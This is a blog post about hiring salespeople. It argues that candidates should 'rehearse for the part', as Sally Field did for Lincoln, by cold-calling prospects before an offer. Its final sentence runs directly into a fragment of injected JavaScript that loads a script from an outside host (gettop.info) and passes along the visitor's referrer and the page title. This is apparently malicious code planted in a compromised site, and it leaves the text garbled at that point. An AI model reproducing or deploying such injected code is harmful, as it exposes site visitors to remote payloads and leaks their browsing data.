Even the best actors and actresses rehearse

Even the best actors and actresses rehearse for a part

I talk to many VP’s of Sales and Sales Managers. They all are looking for a better way to find salespeople; and all are concerned if their choice for the next business development officer is the right one.

Sure, the people direct from the competition will always be a great fit; but how about the candidates who have left the industry for a year, or maybe three, and want to get back within the vertical? Or, candidates who come from another industry? How can you be sure that they can be quick learners and be guaranteed of becoming a high producer?

Recently, a VP that I work with presented a very unique way of finding the right candidate. This VP, you can say, went Hollywood…using a very different way to find his next high producer.

This method came to him when he saw a very successful actress on public television- Sally Field. Sally was sharing with the audience how she had to basically interview for the part of Mary Lincoln in Steven Spielberg’s production of Lincoln.

Ms. Field was very honest about her passion playing Lincoln’s spouse; nevertheless, after her initial discussion with Spielberg, Sally realized it was an uphill battle. She realized Steven had questions- such as her appearance (needed to gain weight). Could she portray Mary’s doleful personality? (Most of her prior roles were perky and more energetic).How would she interact with the actor Daniel Day-Lewis who was hired to play Abraham Lincoln?  After initial talks, Field thought she had lost out; however, Spielberg did see some potential and suggested Field to do a reading with Lewis – actually interview for the part.

Now, here was an actress with a very strong resume- Oscar winner- being asked to “try out for the part.” Unusual? Not really. Upon research one discovers that many actors/actresses no matter how great and how illustrious their career- they are at times asked to rehearse or read for the part to see if there is good match. Interestingly, Jude Law divulges that he wanted the part of Les Miserable’s badly, but had to work hard during the rehearsal to convince the director he was ideal for the part.

If actors and actresses with a golden past, and who demand Million dollars of salary, have to interview and rehearse…why not salespeople too?

As for Sally Field, she did her homework and after preparing hard for the rehearsal (she showed her commitment by gaining weight beforehand) her hard work paid off.  Sally demonstrated her rapport with Daniel-Day Lewis and that she could play the part.

So the VP of Sales told all of his managers that from now on all prospective candidates must rehearse for the part. After the initial interview, the most qualified candidates would be a given a chance “to rehearse.”

Each candidate would be given up to 20 qualified prospects of the aforementioned company’s services. They were to be given instructions how to call on these random companies:

asking the users of the account, what service they used, did they like it or not, would they consider a change, and have they ever presented with this company’s service/product.  Keep in mind, the candidate was very honest to these prospects. That is, he was not an employee, but was doing his own research finding out if the company’s offerings he was interviewing with were reputable, and if indeed it would be a great place to be associated.

The VP told his team that they would present this exercise to the candidate as purely optional; but if they were indeed interested in working for the company, they should look upon it as a great opportunity to learn if this would be a fit for them.

Obviously, the VP had a motive to see if the candidates were indeed a great hire for the part they were interviewing.

First, any candidate that did not do the exercise was eliminated. No reason for not doing it would be accepted since the most qualified and motivated candidate would want to learn more about the industry. And more importantly,  truly trying to learn if they would be an asset for the organization.

Second, the information that each candidate shared would say a lot about the candidate’s possible role with the company. How many calls did they make? How fast did they get back with that information?  Did they get quality information? Could they describe the people they talked with?  For the VP this was an important part of the exercise. Were they technical buyers or economic buyers? Knowing the labels of each buyer is always crucial in a complex sales ( more than one buyer).

Did the candidate illustrate that they indeed can play the part, and more importantly, did they come back with much more enthusiasm and say, “Hey, I can sell this service and do a heck of a job!”

I even suggested to the VP to have the candidates sit in a cube during the interview process, give them a script, and ask them to call on 10 prospects. If the candidate has no objections, they will probably have no problem being an effective cold- caller; and if their results are good after making 10 calls, you may have a winner. However, if the candidate gives excuses and balks, there is every reason to believe they will not be someone who can be an effective rainmaker.

As Sally Field said, “After the rehearsal, not only did I prove to Steven and Daniel Day-Lewis that I was perfect for the part, I convinced myself I would be a great addition to the cast. Thus, it made me want the part even more. Shouldn’t a VP want that passion for his new hires too?s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Leave a Reply